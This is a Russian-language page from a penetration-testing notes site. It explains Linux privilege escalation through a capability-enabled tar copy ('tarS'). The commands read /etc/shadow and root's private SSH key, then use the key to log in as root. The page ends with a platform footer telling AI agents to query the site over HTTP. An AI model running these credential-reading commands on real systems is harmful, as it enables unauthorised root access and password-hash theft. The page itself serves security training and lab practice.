> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md).

# Capabilities (tarS) — повышение привилегий в Linux

## Что это такое

Возможности Linux разделяют привилегии root на гранулярные права, которые можно назначать бинарным файлам. Опасные возможности, такие как `cap_setuid+ep`, `cap_dac_read_search+ep`, или возможности записи файлов могут обходить обычные ограничения пользователя. Эта конкретная страница посвящена бинарному файлу с назначенными возможностями **tarS** бинарному файлу и делает процесс эксплуатации практичным: определите условие, безопасно проверьте его, затем запустите минимальную полезную нагрузку, необходимую для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
getcap -r / 2>/dev/null
```

## Примеры

## Повышение привилегий (capabilities)

```bash
getcap -r / 2>/dev/null
```

Используйте `getcap` для перечисления возможностей файлов. Определите бинарные файлы, которые могут читать файлы вне обычных прав текущего пользователя.

<figure><img src="/files/33ac739e7191371ae0512dfea10b5223c5c15370" alt=""><figcaption></figcaption></figure>

**Извлечение `/etc/shadow` с tarS**

Создайте архив, содержащий `/etc/shadow`:

```bash
tarS -cvf shadow.tar /etc/shadow
```

Распакуйте архив в `/tmp`, затем ослабьте права доступа к скопированному файлу, чтобы его можно было прочитать:

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/28a4197d99a15e2b5d13f3edd1d1062bbef2bf1a" alt=""><figcaption></figcaption></figure>

**Получите закрытый SSH-ключ root с помощью tarS**

Получите закрытый ключ .ssh пользователя root с помощью следующей команды:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/350c1e8aeb475ff5294c4688b433a0937c62ea59" alt=""><figcaption></figcaption></figure>

**Подключение по SSH с полученным закрытым ключом:**

Используйте полученный закрытый ключ, чтобы установить SSH-соединение с пользователем root на локальной машине.

```bash
ssh -i id_rsa root@localhost -p 2082
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
